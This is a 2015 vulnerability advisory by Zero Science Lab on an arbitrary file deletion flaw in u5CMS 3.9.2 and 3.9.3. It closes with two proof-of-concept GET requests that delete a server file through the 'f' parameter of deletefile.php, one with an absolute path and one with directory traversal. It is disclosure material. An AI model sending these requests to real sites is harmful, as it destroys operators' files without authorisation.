u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
sanitised before being used to delete files. This can be exploited to delete
files with the permissions of the web server using their absolute path or via
directory traversal sequences passed within the affected GET parameter.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5226
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php


29.12.2014

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Target: C:\deleteme.txt
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GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1